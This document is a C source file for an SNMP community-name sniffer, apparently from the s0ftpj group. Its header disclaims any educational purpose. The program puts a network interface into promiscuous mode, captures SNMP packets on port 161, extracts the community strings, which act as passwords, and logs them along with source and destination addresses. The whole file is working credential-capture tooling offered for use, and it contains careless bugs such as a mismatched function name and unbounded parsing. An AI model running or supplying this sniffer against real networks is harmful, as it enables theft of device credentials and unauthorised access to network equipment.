/*
 * s0ftpj snmp community name sniffer. 
 * nothing special. 
 *
 * no(c) del0rean@s0ftpj.org 
 * this is NOT for educational purpouse! :)
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

#define IF      "eth0"        /* change thiz */
#define LOGFILE "logfile"     /* change thiz */
#define IPHDR   sizeof(struct iphdr)
#define UDPHDR  sizeof(struct udphdr)


char *trip(char *bu);
void ifsec(char *intf, int s);
 
/* Welcome to a fantastic journey into an snmp packet */
/* We will search _only_ for the community name.      */
/* let's go! :)                                       */

char *trip(char *bu)
{ 
  int i, ssize;
  char *name;

  i = 0;

  /* Primitive ASN.1 Types Identifier in hex 
   * OCTET STRING 04  
   
   * General SNMP header
   *      SEQUENCE {
   *              version INTEGER {version-1(0)},
   *              community OCTET STRING,
   *              data ANY        -- PDUs
   *      }
   */

  while(bu[i++] != '\x04'); 
  /* style ? uh! */
  if(bu[i-1] == '\x04')
  { 
     ssize = bu[i];   
     name = (char *)malloc(ssize);
     strncpy(name, (char *)&bu[i+1], ssize);
     return name; 
  }
  return NULL;        
}

void ifset(char *intf, int s)  /* classic routines */
{
  struct ifreq ifr;
  
  strncpy(ifr.ifr_name, IF, strlen(IF)+1);
  if((ioctl(s, SIOCGIFFLAGS, &ifr) == -1))
  { 
     printf("couldn't obtain interface flags!\n");
     exit(1);
  }
  ifr.ifr_flags |= IFF_PROMISC;
  if (ioctl (s, SIOCSIFFLAGS, &ifr) == -1 )
  {
     printf("couldn't set promisc flag\n");
     exit(2);
  }
}
  

int main()
{
   FILE *log;
   int s, sl, brec, buflen;
   struct sockaddr_in sinn;
   struct iphdr *ip;
   struct udphdr *udp;
   char buf[255], *data;

   printf("\n--[ www.s0ftpj.org ]----------------------|\n");
   printf("--[ s0ftpj snmp community name sniffer ]--|\n");

   signal(SIGTERM,exit); /* ciao ciao vecna!! */
   s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
   
   ifset(IF, s);  /* set promisc */
   
   log = fopen(LOGFILE, "a");
   if(log == NULL) printf("error opening logfile\n");  
 
   buflen = sizeof(buf);
   sl = sizeof(sinn);

   ip = (struct iphdr *)buf;
   udp = (struct udphdr *)(buf+IPHDR);

   while(1)
   {
      brec = recvfrom(s, (char *)&buf, buflen, 0, (struct sockaddr*)&sinn, &sl);
      if((ntohs(udp->dest)) == 161)
      {
         if(data = (trip(&buf[IPHDR+UDPHDR])))
         {
            fprintf(log,"\nlook at that!\n");
            fflush(log);
            fprintf(log,"*source ----> [%s]\n", (char *)inet_ntoa(ip->saddr));
            fflush(log);
            fprintf(log,"*dest ------> [%s]\n", (char *)inet_ntoa(ip->daddr));
            fflush(log);
            fprintf(log,"*Name ------> [%s]\n", data);
            fflush(log);
         }
      }
   }
   fclose(log);
   exit(0);
}